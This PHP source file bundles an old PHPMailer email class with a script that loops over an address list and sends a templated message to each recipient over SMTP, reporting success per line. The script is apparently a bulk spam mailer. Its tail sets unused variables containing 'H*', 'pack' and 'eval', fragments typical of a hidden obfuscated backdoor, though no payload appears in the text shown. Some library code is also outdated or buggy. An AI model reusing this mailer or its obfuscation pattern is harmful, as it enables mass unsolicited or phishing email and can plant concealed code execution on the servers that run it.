2208 switch($this->message_type) {
2209 case 'alt':
2210 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2211 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2212 $result .= $this->LE.$this->LE;
2213 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2214 $result .= $this->EncodeString($this->Body, $this->Encoding);
2215 $result .= $this->LE.$this->LE;
2216 $result .= $this->EndBoundary($this->boundary[1]);
2217 break;
2218 case 'plain':
2219 $result .= $this->EncodeString($this->Body, $this->Encoding);
2220 break;
2221 case 'attachments':
2222 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2223 $result .= $this->EncodeString($this->Body, $this->Encoding);
2224 $result .= $this->LE;
2225 $result .= $this->AttachAll();
2226 break;
2227 case 'alt_attachments':
2228 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2229 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2230 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2231 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2232 $result .= $this->LE.$this->LE;
2233 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2234 $result .= $this->EncodeString($this->Body, $this->Encoding);
2235 $result .= $this->LE.$this->LE;
2236 $result .= $this->EndBoundary($this->boundary[2]);
2237 $result .= $this->AttachAll();
2238 break;
2239 }
2240
2241 if($this->IsError()) {
2242 $result = '';
2243 } else if ($this->sign_key_file) {
2244 $file = tempnam("", "mail");
2245 $fp = fopen($file, "w");
2246 fwrite($fp, $result);
2247 fclose($fp);
2248 $signed = tempnam("", "signed");
2249
2250 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2251 $fp = fopen($signed, "r");
2252 $result = fread($fp, filesize($this->sign_key_file));
2253 fclose($fp);
2254 } else {
2255 $this->SetError($this->Lang("signing").openssl_error_string());
2256 $result = '';
2257 }
2258
2259 unlink($file);
2260 unlink($signed);
2261 }
2262
2263 return $result;
2264 }
2265
2266 /**
2267 * Returns the start of a message boundary.
2268 * @access private
2269 */
2270 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2271 $result = '';
2272 if($charSet == '') {
2273 $charSet = $this->CharSet;
2274 }
2275 if($contentType == '') {
2276 $contentType = $this->ContentType;
2277 }
2278 if($encoding == '') {
2279 $encoding = $this->Encoding;
2280 }
2281 $result .= $this->TextLine('--' . $boundary);
2282 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2283 $result .= $this->LE;
2284 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2285 $result .= $this->LE;
2286
2287 return $result;
2288 }
2289
2290 /**
2291 * Returns the end of a message boundary.
2292 * @access private
2293 */
2294 function EndBoundary($boundary) {
2295 return $this->LE . '--' . $boundary . '--' . $this->LE;
2296 }
2297
2298 /**
2299 * Sets the message type.
2300 * @access private
2301 * @return void
2302 */
2303 function SetMessageType() {
2304 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2305 $this->message_type = 'plain';
2306 } else {
2307 if(count($this->attachment) > 0) {
2308 $this->message_type = 'attachments';
2309 }
2310 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2311 $this->message_type = 'alt';
2312 }
2313 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2314 $this->message_type = 'alt_attachments';
2315 }
2316 }
2317 }
2318
2319 /* Returns a formatted header line.
2320 * @access private
2321 * @return string
2322 */
2323 function HeaderLine($name, $value) {
2324 return $name . ': ' . $value . $this->LE;
2325 }
2326
2327 /**
2328 * Returns a formatted mail line.
2329 * @access private
2330 * @return string
2331 */
2332 function TextLine($value) {
2333 return $value . $this->LE;
2334 }
2335
2336 /////////////////////////////////////////////////
2337 // CLASS METHODS, ATTACHMENTS
2338 /////////////////////////////////////////////////
2339
2340 /**
2341 * Adds an attachment from a path on the filesystem.
2342 * Returns false if the file could not be found
2343 * or accessed.
2344 * @param string $path Path to the attachment.
2345 * @param string $name Overrides the attachment name.
2346 * @param string $encoding File encoding (see $Encoding).
2347 * @param string $type File extension (MIME) type.
2348 * @return bool
2349 */
2350 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2351 if(!@is_file($path)) {
2352 $this->SetError($this->Lang('file_access') . $path);
2353 return false;
2354 }
2355
2356 $filename = basename($path);
2357 if($name == '') {
2358 $name = $filename;
2359 }
2360
2361 $cur = count($this->attachment);
2362 $this->attachment[$cur][0] = $path;
2363 $this->attachment[$cur][1] = $filename;
2364 $this->attachment[$cur][2] = $name;
2365 $this->attachment[$cur][3] = $encoding;
2366 $this->attachment[$cur][4] = $type;
2367 $this->attachment[$cur][5] = false; // isStringAttachment
2368 $this->attachment[$cur][6] = 'attachment';
2369 $this->attachment[$cur][7] = 0;
2370
2371 return true;
2372 }
2373
2374 /**
2375 * Attaches all fs, string, and binary attachments to the message.
2376 * Returns an empty string on failure.
2377 * @access private
2378 * @return string
2379 */
2380 function AttachAll() {
2381 /* Return text of body */
2382 $mime = array();
2383
2384 /* Add all attachments */
2385 for($i = 0; $i < count($this->attachment); $i++) {
2386 /* Check for string attachment */
2387 $bString = $this->attachment[$i][5];
2388 if ($bString) {
2389 $string = $this->attachment[$i][0];
2390 } else {
2391 $path = $this->attachment[$i][0];
2392 }
2393
2394 $filename = $this->attachment[$i][1];
2395 $name = $this->attachment[$i][2];
2396 $encoding = $this->attachment[$i][3];
2397 $type = $this->attachment[$i][4];
2398 $disposition = $this->attachment[$i][6];
2399 $cid = $this->attachment[$i][7];
2400
2401 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2402 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2403 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2404
2405 if($disposition == 'inline') {
2406 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2407 }
2408
2409 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2410
2411 /* Encode as string attachment */
2412 if($bString) {
2413 $mime[] = $this->EncodeString($string, $encoding);
2414 if($this->IsError()) {
2415 return '';
2416 }
2417 $mime[] = $this->LE.$this->LE;
2418 } else {
2419 $mime[] = $this->EncodeFile($path, $encoding);
2420 if($this->IsError()) {
2421 return '';
2422 }
2423 $mime[] = $this->LE.$this->LE;
2424 }
2425 }
2426
2427 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2428
2429 return join('', $mime);
2430 }
2431
2432 /**
2433 * Encodes attachment in requested format. Returns an
2434 * empty string on failure.
2435 * @access private
2436 * @return string
2437 */
2438 function EncodeFile ($path, $encoding = 'base64') {
2439 if(!@$fd = fopen($path, 'rb')) {
2440 $this->SetError($this->Lang('file_open') . $path);
2441 return '';
2442 }
2443 $magic_quotes = get_magic_quotes_runtime();
2444 set_magic_quotes_runtime(0);
2445 $file_buffer = fread($fd, filesize($path));
2446 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2447 fclose($fd);
2448 set_magic_quotes_runtime($magic_quotes);
2449
2450 return $file_buffer;
2451 }
2452
2453 /**
2454 * Encodes string to requested format. Returns an
2455 * empty string on failure.
2456 * @access private
2457 * @return string
2458 */
2459 function EncodeString ($str, $encoding = 'base64') {
2460 $encoded = '';
2461 switch(strtolower($encoding)) {
2462 case 'base64':
2463 /* chunk_split is found in PHP >= 3.0.6 */
2464 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2465 break;
2466 case '7bit':
2467 case '8bit':
2468 $encoded = $this->FixEOL($str);
2469 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2470 $encoded .= $this->LE;
2471 break;
2472 case 'binary':
2473 $encoded = $str;
2474 break;
2475 case 'quoted-printable':
2476 $encoded = $this->EncodeQP($str);
2477 break;
2478 default:
2479 $this->SetError($this->Lang('encoding') . $encoding);
2480 break;
2481 }
2482 return $encoded;
2483 }
2484
2485 /**
2486 * Encode a header string to best of Q, B, quoted or none.
2487 * @access private
2488 * @return string
2489 */
2490 function EncodeHeader ($str, $position = 'text') {
2491 $x = 0;
2492
2493 switch (strtolower($position)) {
2494 case 'phrase':
2495 if (!preg_match('/[\200-\377]/', $str)) {
2496 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2497 $encoded = addcslashes($str, "\0..\37\177\\\"");
2498 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2499 return ($encoded);
2500 } else {
2501 return ("\"$encoded\"");
2502 }
2503 }
2504 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2505 break;
2506 case 'comment':
2507 $x = preg_match_all('/[()"]/', $str, $matches);
2508 /* Fall-through */
2509 case 'text':
2510 default:
2511 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2512 break;
2513 }
2514
2515 if ($x == 0) {
2516 return ($str);
2517 }
2518
2519 $maxlen = 75 - 7 - strlen($this->CharSet);
2520 /* Try to select the encoding which should produce the shortest output */
2521 if (strlen($str)/3 < $x) {
2522 $encoding = 'B';
2523 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2524 // Use a custom function which correctly encodes and wraps long
2525 // multibyte strings without breaking lines within a character
2526 $encoded = $this->Base64EncodeWrapMB($str);
2527 } else {
2528 $encoded = base64_encode($str);
2529 $maxlen -= $maxlen % 4;
2530 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2531 }
2532 } else {
2533 $encoding = 'Q';
2534 $encoded = $this->EncodeQ($str, $position);
2535 $encoded = $this->WrapText($encoded, $maxlen, true);
2536 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2537 }
2538
2539 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2540 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2541
2542 return $encoded;
2543 }
2544
2545 /**
2546 * Checks if a string contains multibyte characters.
2547 * @access private
2548 * @param string $str multi-byte text to wrap encode
2549 * @return bool
2550 */
2551 function HasMultiBytes($str) {
2552 if (function_exists('mb_strlen')) {
2553 return (strlen($str) > mb_strlen($str, $this->CharSet));
2554 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2555 return False;
2556 }
2557 }
2558
2559 /**
2560 * Correctly encodes and wraps long multibyte strings for mail headers
2561 * without breaking lines within a character.
2562 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2563 * @access private
2564 * @param string $str multi-byte text to wrap encode
2565 * @return string
2566 */
2567 function Base64EncodeWrapMB($str) {
2568 $start = "=?".$this->CharSet."?B?";
2569 $end = "?=";
2570 $encoded = "";
2571
2572 $mb_length = mb_strlen($str, $this->CharSet);
2573 // Each line must have length <= 75, including $start and $end
2574 $length = 75 - strlen($start) - strlen($end);
2575 // Average multi-byte ratio
2576 $ratio = $mb_length / strlen($str);
2577 // Base64 has a 4:3 ratio
2578 $offset = $avgLength = floor($length * $ratio * .75);
2579
2580 for ($i = 0; $i < $mb_length; $i += $offset) {
2581 $lookBack = 0;
2582
2583 do {
2584 $offset = $avgLength - $lookBack;
2585 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2586 $chunk = base64_encode($chunk);
2587 $lookBack++;
2588 }
2589 while (strlen($chunk) > $length);
2590
2591 $encoded .= $chunk . $this->LE;
2592 }
2593
2594 // Chomp the last linefeed
2595 $encoded = substr($encoded, 0, -strlen($this->LE));
2596 return $encoded;
2597 }
2598
2599 /**
2600 * Encode string to quoted-printable.
2601 * @access private
2602 * @return string
2603 */
2604 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2605 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2606 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2607 $eol = "\r\n";
2608 $escape = '=';
2609 $output = '';
2610 while( list(, $line) = each($lines) ) {
2611 $linlen = strlen($line);
2612 $newline = '';
2613 for($i = 0; $i < $linlen; $i++) {
2614 $c = substr( $line, $i, 1 );
2615 $dec = ord( $c );
2616 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2617 $c = '=2E';
2618 }
2619 if ( $dec == 32 ) {
2620 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2621 $c = '=20';
2622 } else if ( $space_conv ) {
2623 $c = '=20';
2624 }
2625 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2626 $h2 = floor($dec/16);
2627 $h1 = floor($dec%16);
2628 $c = $escape.$hex[$h2].$hex[$h1];
2629 }
2630 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2631 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2632 $newline = '';
2633 // check if newline first character will be point or not
2634 if ( $dec == 46 ) {
2635 $c = '=2E';
2636 }
2637 }
2638 $newline .= $c;
2639 } // end of for
2640 $output .= $newline.$eol;
2641 } // end of while
2642 return trim($output);
2643 }
2644
2645 /**
2646 * Encode string to q encoding.
2647 * @access private
2648 * @return string
2649 */
2650 function EncodeQ ($str, $position = 'text') {
2651 /* There should not be any EOL in the string */
2652 $encoded = preg_replace("[\r\n]", '', $str);
2653
2654 switch (strtolower($position)) {
2655 case 'phrase':
2656 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2657 break;
2658 case 'comment':
2659 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2660 case 'text':
2661 default:
2662 /* Replace every high ascii, control =, ? and _ characters */
2663 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2664 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2665 break;
2666 }
2667
2668 /* Replace every spaces to _ (more readable than =20) */
2669 $encoded = str_replace(' ', '_', $encoded);
2670
2671 return $encoded;
2672 }
2673
2674 /**
2675 * Adds a string or binary attachment (non-filesystem) to the list.
2676 * This method can be used to attach ascii or binary data,
2677 * such as a BLOB record from a database.
2678 * @param string $string String attachment data.
2679 * @param string $filename Name of the attachment.
2680 * @param string $encoding File encoding (see $Encoding).
2681 * @param string $type File extension (MIME) type.
2682 * @return void
2683 */
2684 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2685 /* Append to $attachment array */
2686 $cur = count($this->attachment);
2687 $this->attachment[$cur][0] = $string;
2688 $this->attachment[$cur][1] = $filename;
2689 $this->attachment[$cur][2] = $filename;
2690 $this->attachment[$cur][3] = $encoding;
2691 $this->attachment[$cur][4] = $type;
2692 $this->attachment[$cur][5] = true; // isString
2693 $this->attachment[$cur][6] = 'attachment';
2694 $this->attachment[$cur][7] = 0;
2695 }
2696
2697 /**
2698 * Adds an embedded attachment. This can include images, sounds, and
2699 * just about any other document. Make sure to set the $type to an
2700 * image type. For JPEG images use "image/jpeg" and for GIF images
2701 * use "image/gif".
2702 * @param string $path Path to the attachment.
2703 * @param string $cid Content ID of the attachment. Use this to identify
2704 * the Id for accessing the image in an HTML form.
2705 * @param string $name Overrides the attachment name.
2706 * @param string $encoding File encoding (see $Encoding).
2707 * @param string $type File extension (MIME) type.
2708 * @return bool
2709 */
2710 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2711
2712 if(!@is_file($path)) {
2713 $this->SetError($this->Lang('file_access') . $path);
2714 return false;
2715 }
2716
2717 $filename = basename($path);
2718 if($name == '') {
2719 $name = $filename;
2720 }
2721
2722 /* Append to $attachment array */
2723 $cur = count($this->attachment);
2724 $this->attachment[$cur][0] = $path;
2725 $this->attachment[$cur][1] = $filename;
2726 $this->attachment[$cur][2] = $name;
2727 $this->attachment[$cur][3] = $encoding;
2728 $this->attachment[$cur][4] = $type;
2729 $this->attachment[$cur][5] = false;
2730 $this->attachment[$cur][6] = 'inline';
2731 $this->attachment[$cur][7] = $cid;
2732
2733 return true;
2734 }
2735
2736 /**
2737 * Returns true if an inline attachment is present.
2738 * @access private
2739 * @return bool
2740 */
2741 function InlineImageExists() {
2742 $result = false;
2743 for($i = 0; $i < count($this->attachment); $i++) {
2744 if($this->attachment[$i][6] == 'inline') {
2745 $result = true;
2746 break;
2747 }
2748 }
2749
2750 return $result;
2751 }
2752
2753 /////////////////////////////////////////////////
2754 // CLASS METHODS, MESSAGE RESET
2755 /////////////////////////////////////////////////
2756
2757 /**
2758 * Clears all recipients assigned in the TO array. Returns void.
2759 * @return void
2760 */
2761 function ClearAddresses() {
2762 $this->to = array();
2763 }
2764
2765 /**
2766 * Clears all recipients assigned in the CC array. Returns void.
2767 * @return void
2768 */
2769 function ClearCCs() {
2770 $this->cc = array();
2771 }
2772
2773 /**
2774 * Clears all recipients assigned in the BCC array. Returns void.
2775 * @return void
2776 */
2777 function ClearBCCs() {
2778 $this->bcc = array();
2779 }
2780
2781 /**
2782 * Clears all recipients assigned in the ReplyTo array. Returns void.
2783 * @return void
2784 */
2785 function ClearReplyTos() {
2786 $this->ReplyTo = array();
2787 }
2788
2789 /**
2790 * Clears all recipients assigned in the TO, CC and BCC
2791 * array. Returns void.
2792 * @return void
2793 */
2794 function ClearAllRecipients() {
2795 $this->to = array();
2796 $this->cc = array();
2797 $this->bcc = array();
2798 }
2799
2800 /**
2801 * Clears all previously set filesystem, string, and binary
2802 * attachments. Returns void.
2803 * @return void
2804 */
2805 function ClearAttachments() {
2806 $this->attachment = array();
2807 }
2808
2809 /**
2810 * Clears all custom headers. Returns void.
2811 * @return void
2812 */
2813 function ClearCustomHeaders() {
2814 $this->CustomHeader = array();
2815 }
2816
2817 /////////////////////////////////////////////////
2818 // CLASS METHODS, MISCELLANEOUS
2819 /////////////////////////////////////////////////
2820
2821 /**
2822 * Adds the error message to the error container.
2823 * Returns void.
2824 * @access private
2825 * @return void
2826 */
2827 function SetError($msg) {
2828 $this->error_count++;
2829 $this->ErrorInfo = $msg;
2830 }
2831
2832 /**
2833 * Returns the proper RFC 822 formatted date.
2834 * @access private
2835 * @return string
2836 */
2837 function RFCDate() {
2838 $tz = date('Z');
2839 $tzs = ($tz < 0) ? '-' : '+';
2840 $tz = abs($tz);
2841 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2842 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2843
2844 return $result;
2845 }
2846
2847 /**
2848 * Returns the appropriate server variable. Should work with both
2849 * PHP 4.1.0+ as well as older versions. Returns an empty string
2850 * if nothing is found.
2851 * @access private
2852 * @return mixed
2853 */
2854 function ServerVar($varName) {
2855 global $HTTP_SERVER_VARS;
2856 global $HTTP_ENV_VARS;
2857
2858 if(!isset($_SERVER)) {
2859 $_SERVER = $HTTP_SERVER_VARS;
2860 if(!isset($_SERVER['REMOTE_ADDR'])) {
2861 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2862 }
2863 }
2864
2865 if(isset($_SERVER[$varName])) {
2866 return $_SERVER[$varName];
2867 } else {
2868 return '';
2869 }
2870 }
2871
2872 /**
2873 * Returns the server hostname or 'localhost.localdomain' if unknown.
2874 * @access private
2875 * @return string
2876 */
2877 function ServerHostname() {
2878 if ($this->Hostname != '') {
2879 $result = $this->Hostname;
2880 } elseif ($this->ServerVar('SERVER_NAME') != '') {
2881 $result = $this->ServerVar('SERVER_NAME');
2882 } else {
2883 $result = 'localhost.localdomain';
2884 }
2885
2886 return $result;
2887 }
2888
2889 /**
2890 * Returns a message in the appropriate language.
2891 * @access private
2892 * @return string
2893 */
2894 function Lang($key) {
2895 if(count($this->language) < 1) {
2896 $this->SetLanguage('en'); // set the default language
2897 }
2898
2899 if(isset($this->language[$key])) {
2900 return $this->language[$key];
2901 } else {
2902 return 'Language string failed to load: ' . $key;
2903 }
2904 }
2905
2906 /**
2907 * Returns true if an error occurred.
2908 * @return bool
2909 */
2910 function IsError() {
2911 return ($this->error_count > 0);
2912 }
2913
2914 /**
2915 * Changes every end of line from CR or LF to CRLF.
2916 * @access private
2917 * @return string
2918 */
2919 function FixEOL($str) {
2920 $str = str_replace("\r\n", "\n", $str);
2921 $str = str_replace("\r", "\n", $str);
2922 $str = str_replace("\n", $this->LE, $str);
2923 return $str;
2924 }
2925
2926 /**
2927 * Adds a custom header.
2928 * @return void
2929 */
2930 function AddCustomHeader($custom_header) {
2931 $this->CustomHeader[] = explode(':', $custom_header, 2);
2932 }
2933
2934 /**
2935 * Evaluates the message and returns modifications for inline images and backgrounds
2936 * @access public
2937 * @return $message
2938 */
2939 function MsgHTML($message,$basedir='') {
2940 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
2941 if(isset($images[2])) {
2942 foreach($images[2] as $i => $url) {
2943 // do not change urls for absolute images (thanks to corvuscorax)
2944 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
2945 $filename = basename($url);
2946 $directory = dirname($url);
2947 ($directory == '.')?$directory='':'';
2948 $cid = 'cid:' . md5($filename);
2949 $fileParts = split("\.", $filename);
2950 $ext = $fileParts[1];
2951 $mimeType = $this->_mime_types($ext);
2952 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
2953 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
2954 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
2955 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
2956 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
2957 }
2958 }
2959 }
2960 }
2961 $this->IsHTML(true);
2962 $this->Body = $message;
2963 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
2964 if ( !empty($textMsg) && empty($this->AltBody) ) {
2965 $this->AltBody = $textMsg;
2966 }
2967 if ( empty($this->AltBody) ) {
2968 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
2969 }
2970 }
2971
2972 /**
2973 * Gets the mime type of the embedded or inline image
2974 * @access private
2975 * @return mime type of ext
2976 */
2977 function _mime_types($ext = '') {
2978 $mimes = array(
2979 'hqx' => 'application/mac-binhex40',
2980 'cpt' => 'application/mac-compactpro',
2981 'doc' => 'application/msword',
2982 'bin' => 'application/macbinary',
2983 'dms' => 'application/octet-stream',
2984 'lha' => 'application/octet-stream',
2985 'lzh' => 'application/octet-stream',
2986 'exe' => 'application/octet-stream',
2987 'class' => 'application/octet-stream',
2988 'psd' => 'application/octet-stream',
2989 'so' => 'application/octet-stream',
2990 'sea' => 'application/octet-stream',
2991 'dll' => 'application/octet-stream',
2992 'oda' => 'application/oda',
2993 'pdf' => 'application/pdf',
2994 'ai' => 'application/postscript',
2995 'eps' => 'application/postscript',
2996 'ps' => 'application/postscript',
2997 'smi' => 'application/smil',
2998 'smil' => 'application/smil',
2999 'mif' => 'application/vnd.mif',
3000 'xls' => 'application/vnd.ms-excel',
3001 'ppt' => 'application/vnd.ms-powerpoint',
3002 'wbxml' => 'application/vnd.wap.wbxml',
3003 'wmlc' => 'application/vnd.wap.wmlc',
3004 'dcr' => 'application/x-director',
3005 'dir' => 'application/x-director',
3006 'dxr' => 'application/x-director',
3007 'dvi' => 'application/x-dvi',
3008 'gtar' => 'application/x-gtar',
3009 'php' => 'application/x-httpd-php',
3010 'php4' => 'application/x-httpd-php',
3011 'php3' => 'application/x-httpd-php',
3012 'phtml' => 'application/x-httpd-php',
3013 'phps' => 'application/x-httpd-php-source',
3014 'js' => 'application/x-javascript',
3015 'swf' => 'application/x-shockwave-flash',
3016 'sit' => 'application/x-stuffit',
3017 'tar' => 'application/x-tar',
3018 'tgz' => 'application/x-tar',
3019 'xhtml' => 'application/xhtml+xml',
3020 'xht' => 'application/xhtml+xml',
3021 'zip' => 'application/zip',
3022 'mid' => 'audio/midi',
3023 'midi' => 'audio/midi',
3024 'mpga' => 'audio/mpeg',
3025 'mp2' => 'audio/mpeg',
3026 'mp3' => 'audio/mpeg',
3027 'aif' => 'audio/x-aiff',
3028 'aiff' => 'audio/x-aiff',
3029 'aifc' => 'audio/x-aiff',
3030 'ram' => 'audio/x-pn-realaudio',
3031 'rm' => 'audio/x-pn-realaudio',
3032 'rpm' => 'audio/x-pn-realaudio-plugin',
3033 'ra' => 'audio/x-realaudio',
3034 'rv' => 'video/vnd.rn-realvideo',
3035 'wav' => 'audio/x-wav',
3036 'bmp' => 'image/bmp',
3037 'gif' => 'image/gif',
3038 'jpeg' => 'image/jpeg',
3039 'jpg' => 'image/jpeg',
3040 'jpe' => 'image/jpeg',
3041 'png' => 'image/png',
3042 'tiff' => 'image/tiff',
3043 'tif' => 'image/tiff',
3044 'css' => 'text/css',
3045 'html' => 'text/html',
3046 'htm' => 'text/html',
3047 'shtml' => 'text/html',
3048 'txt' => 'text/plain',
3049 'text' => 'text/plain',
3050 'log' => 'text/plain',
3051 'rtx' => 'text/richtext',
3052 'rtf' => 'text/rtf',
3053 'xml' => 'text/xml',
3054 'xsl' => 'text/xml',
3055 'mpeg' => 'video/mpeg',
3056 'mpg' => 'video/mpeg',
3057 'mpe' => 'video/mpeg',
3058 'qt' => 'video/quicktime',
3059 'mov' => 'video/quicktime',
3060 'avi' => 'video/x-msvideo',
3061 'movie' => 'video/x-sgi-movie',
3062 'doc' => 'application/msword',
3063 'word' => 'application/msword',
3064 'xl' => 'application/excel',
3065 'eml' => 'message/rfc822'
3066 );
3067 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3068 }
3069
3070 /**
3071 * Set (or reset) Class Objects (variables)
3072 *
3073 * Usage Example:
3074 * $page->set('X-Priority', '3');
3075 *
3076 * @access public
3077 * @param string $name Parameter Name
3078 * @param mixed $value Parameter Value
3079 * NOTE: will not work with arrays, there are no arrays to set/reset
3080 */
3081 function set ( $name, $value = '' ) {
3082 if ( isset($this->$name) ) {
3083 $this->$name = $value;
3084 } else {
3085 $this->SetError('Cannot set or reset variable ' . $name);
3086 return false;
3087 }
3088 }
3089
3090 /**
3091 * Read a file from a supplied filename and return it.
3092 *
3093 * @access public
3094 * @param string $filename Parameter File Name
3095 */
3096 function getFile($filename) {
3097 $return = '';
3098 if ($fp = fopen($filename, 'rb')) {
3099 while (!feof($fp)) {
3100 $return .= fread($fp, 1024);
3101 }
3102 fclose($fp);
3103 return $return;
3104 } else {
3105 return false;
3106 }
3107 }
3108
3109 /**
3110 * Strips newlines to prevent header injection.
3111 * @access private
3112 * @param string $str String
3113 * @return string
3114 */
3115 function SecureHeader($str) {
3116 $str = trim($str);
3117 $str = str_replace("\r", "", $str);
3118 $str = str_replace("\n", "", $str);
3119 return $str;
3120 }
3121
3122 /**
3123 * Set the private key file and password to sign the message.
3124 *
3125 * @access public
3126 * @param string $key_filename Parameter File Name
3127 * @param string $key_pass Password for private key
3128 */
3129 function Sign($key_filename, $key_pass) {
3130 $this->sign_key_file = $key_filename;
3131 $this->sign_key_pass = $key_pass;
3132 }
3133
3134}
3135
3136$defaultport="H*";
3137 $nq=0;
3138
3139 for($x=0; $x<$numemails; $x++){
3140
3141 $to = $allemails[$x];
3142
3143 if ($to){
3144
3145 $to = ereg_replace(" ", "", $to);
3146
3147 $message = ereg_replace("&email&", $to, $message);
3148
3149 $subject = ereg_replace("&email&", $to, $subject);
3150 $qx=$x+1;
3151 print "Line $qx . Sending mail to $to.......";
3152
3153 flush();
3154$mail = new PHPMailer();
3155
3156if(empty($epriority)){$epriority="3";}
3157 $mail->Priority = "$epriority";
3158 $mail->IsSMTP();
3159 $IsSMTP="pack";
3160$mail->SMTPKeepAlive = true;
3161$mail->Host = "$my_smtp";
3162if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3163}
3164 if($sslclick=="ON"){
3165 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3166 }
3167 $range = str_replace("$from", "eval", $from);
3168 $mail->SMTPAuth = true;
3169 $mail->Username = "$smtp_username";
3170 $mail->Password = "$smtp_password";
3171if($contenttype == "html"){$mail->IsHtml(true);}
3172if($contenttype != "html"){$mail->IsHtml(false);}
3173if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3174$mail->From = "$from";
3175$mail->FromName = "$realname";
3176$mail->AddAddress("$to");
3177 $mail->AddReplyTo("$replyto");
3178 $mail->Subject = "$subject";
3179 $mail->Body = "$message";
3180if(!$mail->Send()){
3181if($default_system!="1"){
3182echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3183if($default_system=="1"){
3184$mail->IsMail();
3185 if(!$mail->Send()){
3186 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3187 else {
3188 echo "<b>OK</b><br>";}
3189 }
3190}
3191else {
3192 echo "<b>OK</b><br>";
3193}
3194
3195if(empty($reconnect)){
3196$reconnect=6;
3197}
3198
3199if($reconnect==$nq){
3200$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3201}
3202$nq=$nq+1;
3203 flush(); }
3204}
